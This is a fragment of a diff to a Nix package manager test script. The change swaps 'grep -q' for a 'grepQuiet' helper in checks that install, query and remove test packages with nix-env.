nix-store -qR $profiles/test | grepInverse "$outPath10"
# Install foo-1.0, now using a symlink to its store path.
nix-env -i $TEST_ROOT/symlink
nix-env -q '*' | grep -q foo
nix-env -q '*' | grepQuiet foo
# Delete all old generations.
nix-env --delete-generations old
@@ -151,7 +151,7 @@ test "$(nix-env -q '*' | wc -l)" -eq 0
# Installing "foo" should only install the newest foo.
nix-env -i foo
test "$(nix-env -q '*' | grep foo- | wc -l)" -eq 1
nix-env -q '*' | grep -q foo-2.0
nix-env -q '*' | grepQuiet foo-2.0
# On the other hand, this should install both (and should fail due to
# a collision).
@@ -162,8 +162,8 @@ nix-env -e '*'
nix-env -e '*'
nix-env -i '*'
test "$(nix-env -q '*' | wc -l)" -eq 2
nix-env -q '*' | grep -q foo-2.0
nix-env -q '*' | grep -q bar-0.1.1
nix-env -q '*' | grepQuiet foo-2.0
nix-env -q '*' | grepQuiet bar-0.1.1
# Test priorities: foo-0.1 has a lower priority than foo-1.0, so it
# should be possible to install both without a collision. Also test